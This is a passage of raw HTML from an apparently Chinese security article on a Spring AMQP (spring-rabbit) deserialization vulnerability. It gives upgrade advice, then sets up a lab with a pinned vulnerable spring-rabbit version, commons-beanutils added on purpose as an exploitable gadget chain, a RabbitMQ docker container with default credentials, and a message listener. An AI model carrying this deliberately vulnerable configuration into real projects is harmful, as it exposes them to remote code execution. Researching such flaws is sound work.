EN-US;font-weight: bold;mso-bidi-font-weight: bold;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 13.5pt;font-weight: normal;text-indent: 0em;letter-spacing: 0.034em;">版本低于 2.4.17 的用户应升级到 2.4.17</span></p></li><li><p style="mso-style-name: &#39;Para 06&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: bold;mso-bidi-font-weight: bold;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 13.5pt;font-weight: normal;text-indent: 0em;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">使用版本 3.0.0 至 3.0.9 的用户应升级到 3.0.10</span><span style="font-size: 13.5pt;font-weight: normal;text-indent: 0em;letter-spacing: 0.034em;">    </span></p></li></ul><section style="margin-top: 0pt;margin-bottom: 0pt;text-align: left;font-size: 13.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;margin-left: 18pt;text-indent: 0em;"><o:page></o:page></section><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 20px;color: rgb(59, 85, 171);"><strong><span style="color: rgb(59, 85, 171);font-size: 20px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">简介</span></strong></span><span style="font-size: 20px;color: rgb(59, 85, 171);"><strong><span style="color: rgb(59, 85, 171);font-size: 20px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">：</span></strong></span><span style="mso-style-name: &#39;00 Text&#39;;mso-style-parent: &#39;&#39;;font-weight: bold;mso-bidi-font-weight: bold;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;font-variant: normal;text-transform: none;mso-fareast-language: ZH-CN;">         </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;"><br/></span></p><section style="text-align: left;margin-left: 0pt;font-size: 13.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;margin-top: 12pt;margin-bottom: 12pt;text-indent: 2em;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;">AMQP（Advanced Message Queuing ，高级消息队列协议）是一种使用广泛的独立于语言的消息协议，它定义了一种二进制格式的消息流，任何编程语言都可以实现该协议。实际应用最广泛的 AMQP 服务器是 RabbitMQ 。</span></section><p style="mso-style-name: &#39;Para 02&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: 26.4pt;mso-pagination: widow-orphan;font-size: 22.0pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: bold;mso-bidi-font-weight: bold;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;text-decoration: underline;color: rgb(6, 153, 7);">2. 环境搭建</span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">创建一个 Spring Boot 项目，引入图中几个模块。         <br/>

 </span><span style="mso-bookmark:images_1697766588026_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="338" data-backw="459" data-imgfileid="100004401" data-ratio="0.7373887240356083" width="601.7100219726562" data-type="png" data-w="674" height="443.6899719238281" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=813c5cd0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNnY5ibTiciayL526BPRRiaPDVtft4oKgKnNCrqTOMx7mia2rSPjthUvXKQBYw%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:images_1697766588026_png;"></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">也可以手动添加 spring-rabbit 依赖：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span>          </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>org.springframework.amqp<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span>            </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>spring-rabbit<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span>              </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>2.4.16<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span>                </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span></span></code></pre></section><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">这里使用的 Spring Boot 版本是 2.7.16，对应的 Spring AMQP 版本是 2.4.16；</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><br/>

 导入 commons-beanutils 依赖，作为可利用的反序列化链。</span>    <o:page></o:page></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span>          </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>commons-beanutils<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span>            </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>commons-beanutils<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span>              </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>1.9.1<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span>                </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span>                  </span></code><code><span class="code-snippet_outer">                 </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span>                  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>org.javassist<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span>                    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>javassist<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span>                      </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>3.28.0-GA<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span>                        </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span></span></code></pre></section><p style="text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 13.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;margin-top: 12pt;margin-bottom: 12pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">需要起一个 RabbitMQ 服务，使用 docker 搭建，执行如下命令： </span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">docker</span> <span class="code-snippet__selector-tag">run</span> <span class="code-snippet__selector-tag">-d</span> <span class="code-snippet__selector-tag">--name</span> <span class="code-snippet__selector-tag">my-rabbit</span> <span class="code-snippet__selector-tag">-p</span> 5672<span class="code-snippet__selector-pseudo">:5672</span> <span class="code-snippet__selector-tag">-p</span> 15672<span class="code-snippet__selector-pseudo">:15672</span> <span class="code-snippet__selector-tag">rabbitmq</span><span class="code-snippet__selector-pseudo">:3-management</span></span></code></pre></section><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">docker ps</span>看到启动后的信息；</p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;"><img class="rich_pages wxw-img" data-backh="133" data-backw="578" data-imgfileid="100004418" data-ratio="0.23076923076923078" width="601.7100219726562" data-type="png" data-w="637" height="138.8599853515625" style="font-size: 12pt;text-align: left;text-indent: 0pt;text-wrap: wrap;color: rgb(47, 47, 47);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.034em;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=2a68f879&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNnUQveLudtzHDx1Weic6FubdEVSdFhBV5HJSicRlTfz156XWDxWzBxoGgA%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;">访问对应端口，默认用户名/密码是</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">guest/guest</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;">，登录则可以看到 RabbitMQ 管理页面。         <br/>

 </span><span style="mso-bookmark:images_1698218910055_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="281" data-backw="555" data-imgfileid="100004402" data-ratio="0.505607476635514" width="601.7100219726562" data-type="png" data-w="1070" height="304.22998046875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=3ef44b4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNnaFZk7YmYhVFegAQI7icY55j7X5XLyHQM0AUqpcicEfictb4ay6SNnic0Uw%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:images_1698218910055_png;"></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;"></span></p><p style="text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 13.5pt;font-family: &#34;Helvetica Neue&#34;;font-weight: normal;margin-top: 12pt;margin-bottom: 12pt;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><span style="color:#2f2f2f;">然后在 </span></span><span style="color: rgb(47, 47, 47);font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">Spring Boot 中配置 RabbitMQ 服务的IP、端口、用户名、密码</span><span style="color:#2f2f2f;">；</span><span style="color:#2f2f2f;"><o:page></o:page></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">spring.rabbitmq.host=192.168.xxx.xxx          </span></code><code><span class="code-snippet_outer">spring.rabbitmq.port=5672          </span></code><code><span class="code-snippet_outer">spring.rabbitmq.username=guest          </span></code><code><span class="code-snippet_outer">spring.rabbitmq.password=guest          </span></code><code><span class="code-snippet_outer">server.port = 8081<span style="font-family: monospace;background-color: rgb(240, 240, 240);color: rgb(68, 68, 68);font-size: 12pt;text-indent: 0pt;letter-spacing: 0.034em;"></span></span></code></pre></section><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">写一个配置类，自定义一个</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">myQueue</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">队列和</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">myExchange</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">交换机，并且绑定</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">myExchange</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">和</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">myQueue</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">，使</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">myExchange</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">交换机接收到的消息发送到</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">myQueue</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">队列；</span><span style="color: rgb(68, 68, 68);font-family: monospace;font-weight: bold;background-color: rgb(240, 240, 240);font-size: 12pt;text-indent: 0pt;letter-spacing: 0.034em;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.springframework.amqp.core.*;          </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.springframework.context.annotation.Bean;          </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.springframework.context.annotation.Configuration;          </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@Configuration</span>          </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">RabbitConfig</span> </span>{          </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//自定义队列          </span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Bean</span>          </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Queue <span class="code-snippet__title">MyQueue</span><span class="code-snippet__params">()</span> </span>{          </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> Queue(<span class="code-snippet__string">&#34;myQueue&#34;</span>, <span class="code-snippet__keyword">true</span>);          </span></code><code><span class="code-snippet_outer">    }          </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//自定义交换机          </span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Bean</span>          </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> DirectExchange <span class="code-snippet__title">MyExchange</span><span class="code-snippet__params">()</span> </span>{          </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> DirectExchange(<span class="code-snippet__string">&#34;myExchange&#34;</span>);          </span></code><code><span class="code-snippet_outer">    } </span></code><code><span class="code-snippet_outer">       </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//绑定交换机和队列          </span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Bean</span>          </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Binding <span class="code-snippet__title">binding</span><span class="code-snippet__params">()</span> </span>{          </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> BindingBuilder.bind(MyQueue()).to(MyExchange()).with(<span class="code-snippet__string">&#34;blckder02&#34;</span>);          </span></code><code><span class="code-snippet_outer">    }          </span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;">在管理页面可以看到创建的交换机和队列，以及绑定信息；如果代码绑定不成功，就手动在管理页面绑定。         <br/>

 </span><span style="mso-bookmark:images_1698223864114_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="246" data-backw="578" data-imgfileid="100004404" data-ratio="0.4258188824662813" width="601.7100219726562" data-type="png" data-w="1038" height="256.22003173828125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=a4e49e1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NmkFvGicdxFsknSgkHEhWNn6aa0Vv71QKdZGVLv4FRIKRVgTpzEDGaAffWs4bM5EMtaZ1V1vGbdtw%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page></o:page></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">写一个发送消息的方法，其中</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">routingKey</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">字段要和上面绑定交换机和队列处</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">with(&#34;blckder02&#34;)</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">一致，这里都设为</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">blckder02</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">；</span><span style="color: rgb(68, 68, 68);font-family: monospace;font-weight: bold;background-color: rgb(240, 240, 240);font-size: 12pt;text-indent: 0pt;letter-spacing: 0.034em;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.springframework.amqp.rabbit.core.RabbitTemplate;   </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.springframework.beans.factory.annotation.Autowired;  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.springframework.stereotype.Service;          </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@Service</span>          </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">MessageSenderService</span> </span>{          </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> RabbitTemplate rabbitTemplate;         </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Autowired</span>          </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">MessageSenderService</span><span class="code-snippet__params">(RabbitTemplate rabbitTemplate)</span> </span>{          </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.rabbitTemplate = rabbitTemplate;          </span></code><code><span class="code-snippet_outer">    }          </span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">sendMessage</span> <span class="code-snippet__params">(Object message)</span> </span>{          </span></code><code><span class="code-snippet_outer">        rabbitTemplate.convertAndSend(<span class="code-snippet__string">&#34;myExchange&#34;</span>, <span class="code-snippet__string">&#34;blckder02&#34;</span>, message);          </span></code><code><span class="code-snippet_outer">        System.out.println(<span class="code-snippet__string">&#34;Message Sent Success&#34;</span>);          </span></code><code><span class="code-snippet_outer">    }          </span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">再写一个监听</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">myQueue</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">队列的方法，使用</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);">@RabbitListener</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">指定要监听的队列名称；</span><span style="color: rgb(68, 68, 68);font-family: monospace;font-weight: bold;background-color: rgb(240, 240, 240);font-size: 12pt;text-indent: 0pt;letter-spacing: 0.034em;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">import</span> <span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.springframework</span><span class="code-snippet__selector-class">.amqp</span><span class="code-snippet__selector-class">.rabbit</span><span class="code-snippet__selector-class">.annotation</span><span class="code-snippet__selector-class">.RabbitListener</span>;          </span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">import</span> <span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.springframework</span><span class="code-snippet__selector-class">.stereotype</span><span class="code-snippet__selector-class">.Service</span>;          </span></code><code><span class="code-snippet_outer">          </span></code><code><span class="code-snippet_outer">@<span class="code-snippet__keyword">Service</span>          </span></code><code><span class="code-snippet_outer">public class MyService {          </span></code><code><span class="code-snippet_outer">          </span></code><code><span class="code-snippet_outer">    @<span class="code-snippet__keyword">RabbitListener</span>(<span class="code-snippet__keyword">queues</span> = <span class="code-snippet__string">&#34;myQueue&#34;</span>)          </span></code><code><span class="code-snippet_outer">    public void recevie(Object result) {          </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__selector-tag">System</span><span class="code-snippet__selector-class">.out</span><span class="code-snippet__selector-class">.println</span>(&#34;监听到消息了&#34;);          </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__selector-tag">System</span><span class="code-snippet__selector-class">.out</span><span class="code-snippet__selector-class">.println</span>(<span class="code-snippet__selector-tag">result</span>);          </span></code><code><span class="code-snippet_outer">    }          </span></code><code><span class="code-snippet_outer">}   </span></code></pre></section><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: 